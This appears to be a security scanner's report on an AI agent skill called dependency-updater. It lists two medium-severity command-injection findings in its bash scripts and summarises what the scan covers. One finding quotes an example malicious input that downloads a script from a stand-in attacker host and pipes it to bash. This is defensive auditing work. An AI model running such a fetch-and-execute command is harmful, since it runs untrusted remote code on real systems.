dependency-updater
Verdict safe, but 2 findings (2 medium), mainly command injection. Most recent scan 2026-02-05.
The dependency-updater skill is a legitimate dependency management tool with MEDIUM security concerns. The primary risks involve command injection vulnerabilities in bash scripts that execute user-provided input without proper validation (check-tool.sh and run-taze.sh). The skill lacks explicit allowed-tools declaration, making it difficult to validate intended permissions. The core functionality (updating dependencies) is appropriate for the stated purpose, but the implementation needs hardening against injection attacks. No data exfiltration, credential theft, or prompt injection attempts were detected. The skill appears to be a genuine utility tool that needs security improvements in input validation and argument handling.
Scanner's overall assessment (LLM analyzer)
Second scanner: NVIDIA SkillSpector
Independent static run, no language model, over the same files as the Cisco scan above. How the two scanners compare across the whole corpus: Two scanners, one corpus.
What this skill does
Smart dependency management for any language. Auto-detects project type, applies safe updates automatically, prompts for major versions, diagnoses and fixes dependency issues.
- Package
- 4 files, 21 KB
- SKILL.md
- 1491 words, 12+ sections
- Code
- Shell (2)
- License
- MIT
SKILL.md covers: Dependency Updater · Quick Start · Triggers · Supported Languages · Quick Reference · Workflow · Commands by Language · Node.js (npm/yarn/pnpm) · Check prerequisites · Scan for updates · Apply minor/patch · Apply specific majors
Findings
MEDIUM Unvalidated Command Execution in check-tool.sh Command Injectionllm
The check-tool.sh script executes arbitrary commands passed as arguments without validation or sanitization. The script runs '$TOOL_NAME --version' where $TOOL_NAME comes from user input, creating a command injection risk if malicious input is provided.
scripts/check-tool.sh:13
Line 13: '$TOOL_NAME --version 2>/dev/null || true' - Executes user-provided tool name without validation. An attacker could provide input like 'curl http://evil.com/malware.sh | bash' as the tool name.MEDIUM Arbitrary Argument Passing in run-taze.sh Command Injectionllm
The run-taze.sh script passes all user-provided arguments directly to the taze command without validation ('taze "$@"'). This allows users to inject arbitrary command-line flags that could modify taze's behavior in unintended ways, potentially including dangerous operations like writing to arbitrary locations or executing additional commands.
scripts/run-taze.sh:28
Line 28: 'taze "$@"' - Passes all arguments directly to taze without filtering. Users could inject flags like '--write' or other options that modify behavior beyond intended scope.What is in the package
| File | Kind | Size |
|---|---|---|
README.md | doc | 8.2 KB |
SKILL.md | doc | 11 KB |
scripts/check-tool.sh | script | 520 B |
scripts/run-taze.sh | script | 638 B |
External hosts referenced
github.com
Hostnames that appear in the skill's files. Referencing a host is not a finding; compare against the findings above and the skill's stated purpose.
Package contents recorded 2026-10-22 at commit b00cf8491de1. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.
What we checked
- Static analyzer. Pattern rules over SKILL.md and bundled files: known-bad commands, exfiltration URLs, secrets, obfuscation.
- Behavioral analyzer. Checks what the skill asks the agent to do against what its description claims it does.
- Llm analyzer. A language model reads the skill and reports intent-level issues the rules cannot express.
- Trigger analyzer. Looks for instructions that fire on conditions the user did not ask for.
- Meta analyzer. A second model pass that validates, deduplicates and re-scores the other analyzers' findings.
What we did not check
- Runtime behaviour. The skill was not executed; findings come from reading its files.
- Anything fetched at install or run time, including remote scripts, package dependencies, and URLs the skill tells the agent to open.
- Content the analyzers cannot read: images, binaries, and some non-English text.
- Known scanner bypass classes. See the methodology and limitations page.
Sources
- Repository: https://github.com/softaworks/agent-toolkit
- Raw scan result: dependency-updater-scan.json
- Badge for your README:
- Request a re-scan